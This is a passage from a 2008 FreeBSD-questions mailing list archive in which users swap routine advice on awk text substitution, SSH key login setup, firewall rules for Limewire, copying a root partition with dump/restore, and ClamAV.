mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EC02D106564A for ; Sun, 30 Nov 2008 07:07:24 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id B9BFA8FC0A for ; Sun, 30 Nov 2008 07:07:24 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx02.qsc.de (Postfix) with ESMTP id 9A51516C0064; Sun, 30 Nov 2008 08:07:22 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mAU77LLR003437; Sun, 30 Nov 2008 08:07:21 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Sun, 30 Nov 2008 08:07:21 +0100 From: Polytropon To: Gary Kline Message-Id: <20081130080721.af3b36d9.freebsd@edvax.de> In-Reply-To: <20081130065209.GA98518@thought.org> References: <20081130045944.GA94896@thought.org> <20081130061104.f595db7e.freebsd@edvax.de> <20081130061731.0691f5ea.freebsd@edvax.de> <20081130065209.GA98518@thought.org> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: FreeBSD Mailing List Subject: Re: for awk experts only. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 07:07:25 -0000 On Sat, 29 Nov 2008 22:52:10 -0800, Gary Kline wrote: > What you have above prints: > > foot 1 // noun > foot 0 // verb > > so doesn't work entirely, but is a good start. I'm so stupid. gsub() does not return the result of the substitution (as, for example, sprintf() would return the string), but the success of the substitution, 1 or 0. > (BTW, man gsub turned up > nothing, so I'm assuming thhat gsub it part of awk. Yes, gsub is listed in "man awk" because it's a function from within awk. I've just pkg_add'ed -r WordNet and tried: % wn foot -over | awk '/Overview/ { printf("%s %s\n", $4, ($3 == "noun") ? "n." : ""); }' foot n. foot Of couse, this handles only "noun". If you want to abbreviate other kinds of words (e. g. "verb" -> "v.", "adverb" -> "adv.", "adjective" -> "adj."), it would be better to implement a short awk script as a "wrapper" for the wn command. If you're only interested in the first result mentioned, you could test NR == 1. % wn foot -over | awk '/Overview/ && (NR == 2) { printf("%s %s\n", $4, ($3 == "noun") ? "n." : ""); }' foot n. -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 07:24:44 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 19B68106576B for ; Sun, 30 Nov 2008 07:24:44 +0000 (UTC) (envelope-from sonic2000gr@gmail.com) Received: from ey-out-2122.google.com (ey-out-2122.google.com [74.125.78.25]) by mx1.freebsd.org (Postfix) with ESMTP id A24F88FC0C for ; Sun, 30 Nov 2008 07:24:43 +0000 (UTC) (envelope-from sonic2000gr@gmail.com) Received: by ey-out-2122.google.com with SMTP id 6so813212eyi.7 for ; Sat, 29 Nov 2008 23:24:42 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:subject:references:in-reply-to :content-type:content-transfer-encoding; bh=no1xmoQjJSowt93O8ACVkavjCzgG7vhcQByHJW5siwM=; b=UqarVBDKFIlwynC/WfSw5YL3X5nT5cyk/DC5Cdbb3/dCk7MRgQMjO6CJaowa4fh4om +KA3UAiAk2Mao0GFG83t68sYn6U5o92brDDvurHBXvHHfZeBJ7R5/6mek5p8vwXowWgx nCdGpnY2xuIVJ25/Wgeep5UmrDdxZnpbTUcTE= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:subject:references :in-reply-to:content-type:content-transfer-encoding; b=WPU43UeImp4J7eef200OTuwgvf/gbbSlzKF7RF3NFWaQXfOrXjUd+0Y4l0sMegsE1G VMbQ804n2l0Ur3HCTLozXE+shFUMVWhtvfh2oR+ZeSCyPDbQGZ/ZvZwu5sYrRQHhU2X0 2IuTb5qXoXGvCHFxFlKpHW2PuO1eJnkUZuKiM= Received: by 10.210.29.11 with SMTP id c11mr3435813ebc.141.1228029882066; Sat, 29 Nov 2008 23:24:42 -0800 (PST) Received: from atlantis.dyndns.org (athedsl-12874.home.otenet.gr [87.202.50.174]) by mx.google.com with ESMTPS id k5sm13974553nfh.0.2008.11.29.23.24.39 (version=TLSv1/SSLv3 cipher=RC4-MD5); Sat, 29 Nov 2008 23:24:40 -0800 (PST) Message-ID: <49323FB6.3010903@gmail.com> Date: Sun, 30 Nov 2008 09:24:38 +0200 From: Manolis Kiagias User-Agent: Thunderbird 2.0.0.17 (X11/20081011) MIME-Version: 1.0 To: FreeBSD-Questions Questions References: <49319A83.6050407@webrz.net> <22771067-1635-4C00-A0EB-4E14569F636C@hughes.net> <4931B00D.2040206@webrz.net> <769E437F-4F3B-44D4-B470-56AD323C6AB3@hughes.net> In-Reply-To: <769E437F-4F3B-44D4-B470-56AD323C6AB3@hughes.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Subject: Re: Temporarily blocking ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 07:24:44 -0000 Chris wrote: > > On Nov 29, 2008, at 1:11 PM, Jos Chrispijn wrote: > >> >> From your reply on my message of 29-11-2008 21:47: >>> An even tighter practice is to turn off all password logins and >>> use only keyed connections. This is easier than it might seem >>> though I'll admit I think of ssh as something only a select >>> number of users may use and thus you know them by name >>> and what IPs they are permitted to connect on. >> I have been thinking of that as well, but don't think I should use >> that yet with the knowledge I have on this. >> Do you refer to manual of automatic key connections? >> > It's extremely easy. > > Generate your key and spread it to all systems you want > to connect to. Have other users generate their key and do the > same. After everyone is set, turn off password access in > /etc/ssh/sshd_config, that file contains the docs in comments > on how to do this. You change three parameters. Then sshd > will need to be restarted. Be sure logins by key work first. > > This implies how to set up your keys. This was lifted from > a helpful page on the net and modified but is pretty basic. > Creates the keys in home directory of myuserid on system > www.example.com, then moving the key to a second system > called other.example.com such that myuserid can move > between systems. The userid on the remote does not need > to be the same string as on the local system though it's shown > that way here. > > www$ cd # get to your home directory > www$ ssh-keygen -t rsa > Generating public/private rsa key pair. > Enter file in which to save the key (/home/myuserid/.ssh/id_rsa): > Enter passphrase (empty for no passphrase): > Enter same passphrase again: > Your identification has been saved in /home/myuserid/.ssh/id_rsa. > Your public key has been saved in /home/myuserid/.ssh/id_rsa.pub. > The key fingerprint is: > myuserid@www.example.com > www$ ssh myuserid@other.example.com mkdir -p .ssh > Password: > www$ cat .ssh/id_rsa.pub|ssh myuserid@other.example.com 'cat >> > .ssh/authorized_keys' > Password: > > You are done setting up keys. Sample use of seamless login: > > www$ ssh other.example.com > other$ host > other.example.com > other$ users > myuserid ttyp0 Jul 14 05:28 (www.example.com) > other$ exit > www$ > > I only use this on FreeBSD and OS-X. No idea on Putty and others. > Can be used on Putty too. There are some small helper programs you can download along with Putty: - Puttygen: This will convert your key to a format that can be used by putty - Pageant: This works like "ssh-agent". You simply supply the key, and it is automatically used in your Putty connections it works flawlessly From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 07:59:05 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D1E1B1065672 for ; Sun, 30 Nov 2008 07:59:05 +0000 (UTC) (envelope-from kline@thought.org) Received: from aristotle.thought.org (aristotle.thought.org [209.180.213.210]) by mx1.freebsd.org (Postfix) with ESMTP id 7E7898FC0A for ; Sun, 30 Nov 2008 07:59:05 +0000 (UTC) (envelope-from kline@thought.org) Received: from thought.org (tao.thought.org [10.47.0.250]) (authenticated bits=0) by aristotle.thought.org (8.14.2/8.14.2) with ESMTP id mAU7xHml040697; Sat, 29 Nov 2008 23:59:17 -0800 (PST) (envelope-from kline@thought.org) Received: by thought.org (nbSMTP-1.00) for uid 1002 kline@thought.org; Sat, 29 Nov 2008 23:58:45 -0800 (PST) Date: Sat, 29 Nov 2008 23:58:45 -0800 From: Gary Kline To: Polytropon Message-ID: <20081130075845.GA2296@thought.org> References: <20081130045944.GA94896@thought.org> <20081130061104.f595db7e.freebsd@edvax.de> <20081130061731.0691f5ea.freebsd@edvax.de> <20081130065209.GA98518@thought.org> <20081130080721.af3b36d9.freebsd@edvax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081130080721.af3b36d9.freebsd@edvax.de> User-Agent: Mutt/1.4.2.3i X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: With 22 years of service to the Unix community. X-Spam-Status: No, score=-4.4 required=3.6 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.2.3 X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on aristotle.thought.org Cc: FreeBSD Mailing List Subject: Re: for awk experts only. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 07:59:05 -0000 On Sun, Nov 30, 2008 at 08:07:21AM +0100, Polytropon wrote: > On Sat, 29 Nov 2008 22:52:10 -0800, Gary Kline wrote: > > What you have above prints: > > > > foot 1 // noun > > foot 0 // verb > > > > so doesn't work entirely, but is a good start. > > I'm so stupid. gsub() does not return the result of the > substitution (as, for example, sprintf() would return the > string), but the success of the substitution, 1 or 0. > > > > > (BTW, man gsub turned up > > nothing, so I'm assuming thhat gsub it part of awk. > > Yes, gsub is listed in "man awk" because it's a function from > within awk. > > I've just pkg_add'ed -r WordNet and tried: > > % wn foot -over | awk '/Overview/ { printf("%s %s\n", $4, ($3 == "noun") ? "n." : ""); }' > foot n. > foot > > Of couse, this handles only "noun". If you want to abbreviate > other kinds of words (e. g. "verb" -> "v.", "adverb" -> "adv.", > "adjective" -> "adj."), it would be better to implement a short > awk script as a "wrapper" for the wn command. If you're only > interested in the first result mentioned, you could test NR == 1. > > % wn foot -over | awk '/Overview/ && (NR == 2) { printf("%s %s\n", $4, ($3 == "noun") ? "n." : ""); }' > foot n. > Yeah, "noun" -> "n.", "verb" -> "v.", "adj." -> "a." "adv" is all right. Benn awhile since I wrote an awk script... but now's the time. thanks much, gary > > > -- > Polytropon > From Magdeburg, Germany > Happy FreeBSD user since 4.0 > Andra moi ennepe, Mousa, ... -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix http://jottings.thought.org http://transfinite.thought.org From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 08:40:21 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1C1781065742 for ; Sun, 30 Nov 2008 08:40:21 +0000 (UTC) (envelope-from fbsd1@a1poweruser.com) Received: from mail-03.name-services.com (mail-03.name-services.com [69.64.155.195]) by mx1.freebsd.org (Postfix) with ESMTP id 0C54A8FC14 for ; Sun, 30 Nov 2008 08:40:20 +0000 (UTC) (envelope-from fbsd1@a1poweruser.com) Received: from [10.0.10.6] ([202.69.173.174]) by mail-03.name-services.com with Microsoft SMTPSVC(6.0.3790.3959); Sun, 30 Nov 2008 00:39:03 -0800 Message-ID: <49325198.2060008@a1poweruser.com> Date: Sun, 30 Nov 2008 16:40:56 +0800 From: Fbsd1 User-Agent: Thunderbird 2.0.0.17 (Windows/20080914) MIME-Version: 1.0 To: eculp@casasponti.net References: <492E60A8.6080105@a1poweruser.com> <492F82D1.4020000@bah.homeip.net> <492F8E9B.5040805@a1poweruser.com> <492F95EB.8080308@bah.homeip.net> <492F9B68.8080407@a1poweruser.com> <20081128051410.17qwm4xctjy8w4sck@intranet.casasponti.net> In-Reply-To: <20081128051410.17qwm4xctjy8w4sck@intranet.casasponti.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 30 Nov 2008 08:39:03.0916 (UTC) FILETIME=[19A7B2C0:01C952C7] X-Sender: fbsd1@a1poweruser.com Cc: freebsd-questions@freebsd.org Subject: Re: pf or ipf rules to allow p2p Limewire through X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 08:40:21 -0000 >> eculp@casasponti.net wrote: >> >> So on the Limewire "Advanced -> Firewall" config page enter a port >> number, such as 6346 in both the "Listen on Port" and the "Manual Port >> Forward" boxes. >> >> Then after your NAT rule in pf.conf enter something like the following: >> >> rdr on $ExtIF proto tcp from any to any port 6346 -> 192.168.10.2 port >> 6346 >> >> and a corresponding filter pass rule: >> >> in both the "Listen on Port" and the "Manual Port >> Forward" boxes. >> >> 192.168.10.2 is my desktop machine where I use Limewire. It works just >> fine. >> >> Thank you for the solution to this problem. I was un-aware Limewire had it's own firewall configuration options. In Limewire version 4.18 Tools/Options/Advanced/Firewall I entered the same port number 6666 in both the "Listen on Port" and the "Manual Port Forward" option fill in boxes. Then in IPF rules added these 2 lines. pass out quick on $oif proto igmp from any to any keep state pass out quick on $oif proto tcp from any to any port = 6666 flags S keep state Each XP box on the lan running Limewire gets it's own unique port number and the corresponding firewall rule. No need for NAT RDR rules. Limewire works fine and my firewall is tight as every. From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 09:47:42 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8E8B3106564A for ; Sun, 30 Nov 2008 09:47:42 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from igloo.linux.gr (igloo.linux.gr [62.1.205.36]) by mx1.freebsd.org (Postfix) with ESMTP id 06E5B8FC0C for ; Sun, 30 Nov 2008 09:47:41 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from kobe.laptop (adsl144-35.kln.forthnet.gr [195.74.243.35]) (authenticated bits=128) by igloo.linux.gr (8.14.3/8.14.3/Debian-5) with ESMTP id mAU9lWx7013967 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 30 Nov 2008 11:47:38 +0200 Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id mAU9lW7k059377; Sun, 30 Nov 2008 11:47:32 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id mAU9lTpm059376; Sun, 30 Nov 2008 11:47:29 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) From: Giorgos Keramidas To: Gary Kline References: <20081130045944.GA94896@thought.org> Date: Sun, 30 Nov 2008 11:47:29 +0200 In-Reply-To: <20081130045944.GA94896@thought.org> (Gary Kline's message of "Sat, 29 Nov 2008 20:59:51 -0800") Message-ID: <8763m535qm.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.60 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-MailScanner-ID: mAU9lWx7013967 X-Hellug-MailScanner: Found to be clean X-Hellug-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-3.818, required 5, autolearn=not spam, ALL_TRUSTED -1.80, AWL 0.58, BAYES_00 -2.60) X-Hellug-MailScanner-From: keramida@ceid.upatras.gr X-Spam-Status: No Cc: FreeBSD Mailing List Subject: Re: for awk experts only. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 09:47:42 -0000 On Sat, 29 Nov 2008 20:59:51 -0800, Gary Kline wrote: > wordnet/wn prints the string "noun" out whereas I'd rather it simply > printed "n." Is there a way of making this substitution using awk? > (I've never used awk except as a cmdline filter.) > > The following fails: > > wn foot -over |grep Overview |awk > {if(!strcmp($3,"noun"))$3="n."; '{printf("%s %s\n", $4, $3);}}' > > If there are any shortcuts, please clue me in! Don't do this with a long stream of if/else/.../else blocks. AWK is a pattern based rule-language. You can apply different blocks of code to lines that match patterns like this: $3 ~ /adjective/ { print $1,"adj." } $3 ~ /noun/ { print $1,"n." } $3 ~ /verb/ { print $1,"v." } From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 11:17:39 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BDB2E106564A for ; Sun, 30 Nov 2008 11:17:39 +0000 (UTC) (envelope-from tijl@ulyssis.org) Received: from mailrelay002.isp.belgacom.be (mailrelay002.isp.belgacom.be [195.238.6.175]) by mx1.freebsd.org (Postfix) with ESMTP id 50E518FC14 for ; Sun, 30 Nov 2008 11:17:39 +0000 (UTC) (envelope-from tijl@ulyssis.org) X-Belgacom-Dynamic: yes X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtoEANEEMklR92rK/2dsb2JhbACBbctDgn0 Received: from 202.106-247-81.adsl-dyn.isp.belgacom.be (HELO kalimero.kotnet.org) ([81.247.106.202]) by relay.skynet.be with ESMTP; 30 Nov 2008 12:17:37 +0100 Received: from kalimero.kotnet.org (kalimero.kotnet.org [127.0.0.1]) by kalimero.kotnet.org (8.14.3/8.14.3) with ESMTP id mAUBGTLX001473; Sun, 30 Nov 2008 12:16:29 +0100 (CET) (envelope-from tijl@ulyssis.org) From: Tijl Coosemans To: freebsd-questions@freebsd.org, admin@azuni.net Date: Sun, 30 Nov 2008 12:16:27 +0100 User-Agent: KMail/1.9.10 References: <49322B49.80005@azuni.net> In-Reply-To: <49322B49.80005@azuni.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200811301216.28523.tijl@ulyssis.org> Cc: Subject: Re: FreeBSD 4.8: can't load kernel after doing "cp -R /" to another disk X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 11:17:39 -0000 On Sunday 30 November 2008 06:57:29 admin@azuni.net wrote: >>> Hello, everyone. This is the problem: our SCSI disk with FreeBSD >>> 4.8 on it has been failing recently, so I copied its root partition >>> to a fresh IDE disk with cp -pR and >> >> You should use dump and restore to copy the root partition, see: > > I'd done that before trying cp -pR, as outlined by rse@: > > dump -L -0 -f- /old | (cd /new && restore -r -v -f-) > http://people.freebsd.org/~rse/mirror/ > > which isn't too different. I think I know what the problem is: I made > the new single slice and FreeBSD partition on it and ran newfs -U on > it using the latest FreeBSD 5.x livecd toolkit, and later 4.8 can't > even mount that partition (mount /dev/ad0s1a /mnt) failing with > "incorrect superblock", so I think its /boot/loader can't load the > kernel because of FS issues (but strangely enough pressing "?" at the > boot loader prompt lists directory entries of the root FS just fine). > It turns out UFS isn't upwards compatible from releases 4.8 -> 5.5. > I'll try running newfs -U from 4.8. Last time I checked many 4.8 > binaries couldn't run due to disk errors, I hope newfs runs ok... You need to create a UFS1 file system. Also, root file systems usually don't have soft updates (-U) enabled. From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 12:52:02 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 48060106564A for ; Sun, 30 Nov 2008 12:52:02 +0000 (UTC) (envelope-from OttK@zzz.ee) Received: from zzz.ee (kalah.zzz.ee [194.204.30.253]) by mx1.freebsd.org (Postfix) with ESMTP id EBD528FC08 for ; Sun, 30 Nov 2008 12:52:01 +0000 (UTC) (envelope-from OttK@zzz.ee) Received: from zzz.ee (localhost.zzz.ee [127.0.0.1]) by zzz.ee (Postfix) with ESMTP id 0C822FD063 for ; Sun, 30 Nov 2008 14:52:00 +0200 (EET) Received: by zzz.ee (Postfix, from userid 3019) id 022CDFD062; Sun, 30 Nov 2008 14:51:59 +0200 (EET) X-Spam-Checker-Version: SpamAssassin on spamassassin.zzz.ee X-Spam-Level: *** X-Spam-Guessed-Language: X-Spam-Status: No, score=3.1 required=5.0 tests=BAYES_50,RDNS_DYNAMIC, SPF_SOFTFAIL X-Spam-Checker-URL: http://info.zzz.ee Received: from [192.168.1.64] (87-119-181-26.tll.elisa.ee [87.119.181.26]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by zzz.ee (Postfix) with ESMTPS id 61614FD056 for ; Sun, 30 Nov 2008 14:51:57 +0200 (EET) Message-ID: <49328C68.5000302@zzz.ee> Date: Sun, 30 Nov 2008 14:51:52 +0200 From: =?ISO-8859-1?Q?Ott_K=F6stner?= Organization: TIGMA AS User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: "freebsd-questions@freebsd.org" References: <26face530811221316y5be5bf40ra5c38f389f554ca1@mail.gmail.com> <20081124173650.GA933@ourbrains.org> <20081124193819.GF55491@gizmo.acns.msu.edu> <20081129160329.GA27853@ourbrains.org> <47D7B64C-E783-48C8-A33B-A48AB66DA2E5@boosten.org> <20081129170434.GB27853@ourbrains.org> <493178CE.8070005@boosten.org> In-Reply-To: <493178CE.8070005@boosten.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV using ClamSMTP @zzz.ee Subject: Re: Unix program that sends email directly using MX record X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 12:52:02 -0000 Peter Boosten wrote: > The most recent vulnerabilities of Postfix are from August and September > 2008, and I still use it. Also I use (with great happyness) Sendmail on > two machines, without any problems. The only problem ever caused was by > clamav. > > Would be interesting to know, what kind of problems have been there with CLAMAV? Just to be aware. I am currently using clamav -0.94.2 on some FreeBSD computers. Regards, O.K. From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 12:53:50 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 83BB91065675 for ; Sun, 30 Nov 2008 12:53:50 +0000 (UTC) (envelope-from mail25@bzerk.org) Received: from ei.bzerk.org (tunnel490.ipv6.xs4all.nl [IPv6:2001:888:10:1ea::2]) by mx1.freebsd.org (Postfix) with ESMTP id 0DCCF8FC1A for ; Sun, 30 Nov 2008 12:53:49 +0000 (UTC) (envelope-from mail25@bzerk.org) Received: from ei.bzerk.org (BOFH@localhost [127.0.0.1]) by ei.bzerk.org (8.14.2/8.14.2) with ESMTP id mAUCrj4i073438; Sun, 30 Nov 2008 13:53:45 +0100 (CET) (envelope-from mail25@bzerk.org) Received: (from bulk@localhost) by ei.bzerk.org (8.14.2/8.14.2/Submit) id mAUCrjT3073437; Sun, 30 Nov 2008 13:53:45 +0100 (CET) (envelope-from mail25@bzerk.org) Date: Sun, 30 Nov 2008 13:53:45 +0100 From: Ruben de Groot To: Gary Kline Message-ID: <20081130125345.GA73233@ei.bzerk.org> Mail-Followup-To: Ruben de Groot , Gary Kline , FreeBSD Mailing List References: <20081129225120.GA83398@thought.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081129225120.GA83398@thought.org> User-Agent: Mutt/1.4.2.3i X-Spam-Status: No, score=-4.1 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00, J_CHICKENPOX_42 autolearn=no version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on ei.bzerk.org X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (ei.bzerk.org [127.0.0.1]); Sun, 30 Nov 2008 13:53:48 +0100 (CET) Cc: FreeBSD Mailing List Subject: Re: Anybody familiar with "publib"?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 12:53:50 -0000 On Sat, Nov 29, 2008 at 02:51:23PM -0800, Gary Kline typed: > > People, > > I found a neat function in publib that should do what I want, but adding either > > #imclude // as per man publib > > OR > > #include "/usr/local/include/publib.h" > > fails. Yes, I am adding "-lpub" to the enc of gcc. Still bombs. Anybody know > why? Prev'ly when I've used the publib functions, I've had to move/copy a slew > of them into my private build. Be nice if this just-worked! Fails/bombs how? We're not all psychics here From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 13:13:58 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F20A81065672 for ; Sun, 30 Nov 2008 13:13:58 +0000 (UTC) (envelope-from peter@boosten.org) Received: from smtpq4.gn.mail.iss.as9143.net (smtpq4.gn.mail.iss.as9143.net [212.54.34.167]) by mx1.freebsd.org (Postfix) with ESMTP id A4A638FC0C for ; Sun, 30 Nov 2008 13:13:58 +0000 (UTC) (envelope-from peter@boosten.org) Received: from [212.54.34.133] (helo=smtp2.gn.mail.iss.as9143.net) by smtpq4.gn.mail.iss.as9143.net with esmtp (Exim 4.69) (envelope-from ) id 1L6m7Z-0002FV-Hn; Sun, 30 Nov 2008 14:13:57 +0100 Received: from [84.25.72.219] (helo=ra.egypt.nl) by smtp2.gn.mail.iss.as9143.net with esmtp (Exim 4.69) (envelope-from ) id 1L6m7S-0004XX-Vv; Sun, 30 Nov 2008 14:13:51 +0100 Received: from [192.168.13.81] (iPod.egypt.nl [192.168.13.81]) by ra.egypt.nl (Postfix) with ESMTP id 9EEA03983A; Sun, 30 Nov 2008 14:13:49 +0100 (CET) References: <26face530811221316y5be5bf40ra5c38f389f554ca1@mail.gmail.com> <20081124173650.GA933@ourbrains.org> <20081124193819.GF55491@gizmo.acns.msu.edu> <20081129160329.GA27853@ourbrains.org> <47D7B64C-E783-48C8-A33B-A48AB66DA2E5@boosten.org> <20081129170434.GB27853@ourbrains.org> <493178CE.8070005@boosten.org> <49328C68.5000302@zzz.ee> Message-Id: From: Peter Boosten To: =?utf-8?Q?Ott_K=C3=B6stner?= In-Reply-To: <49328C68.5000302@zzz.ee> Content-Type: text/plain; charset=utf-8; format=flowed; delsp=yes Content-Transfer-Encoding: quoted-printable X-Mailer: iPod Mail (5G77) Mime-Version: 1.0 (iPod Mail 5G77) Date: Sun, 30 Nov 2008 14:14:30 +0100 X-ZiggoSMTP-MailScanner-Information: Please contact the ISP for more information X-ZiggoSMTP-MailScanner-ID: 1L6m7S-0004XX-Vv X-ZiggoSMTP-MailScanner: Found to be clean X-ZiggoSMTP-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-0.424, required 5, BAYES_05 -1.11, SPF_NEUTRAL 0.69) X-ZiggoSMTP-MailScanner-From: peter@boosten.org X-Spam-Status: No Cc: "freebsd-questions@freebsd.org" Subject: Re: Unix program that sends email directly using MX record X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 13:13:59 -0000 On 30 nov 2008, at 13:51, Ott K=C3=B6stner wrote: > Peter Boosten wrote: > >> The most recent vulnerabilities of Postfix are from August and =20 >> September >> 2008, and I still use it. Also I use (with great happyness) =20 >> Sendmail on >> two machines, without any problems. The only problem ever caused =20 >> was by >> clamav. >> >> > Would be interesting to know, what kind of problems have been there =20= > with CLAMAV? > Just to be aware. I am currently using clamav Clamav>-0.94.2 on some FreeBSD computers. > It has been some time ago, on openbsd, and the problem existed between =20= clamscan vs clamdscan. Never had any problems with clamav from the =20 ports in freebsd. Peter --=20 HTTP://www.boosten.org= From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 13:27:29 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9A313106564A for ; Sun, 30 Nov 2008 13:27:29 +0000 (UTC) (envelope-from jos@webrz.net) Received: from webrz.xs4all.nl (webrz.xs4all.nl [82.95.248.216]) by mx1.freebsd.org (Postfix) with ESMTP id 52F288FC0C for ; Sun, 30 Nov 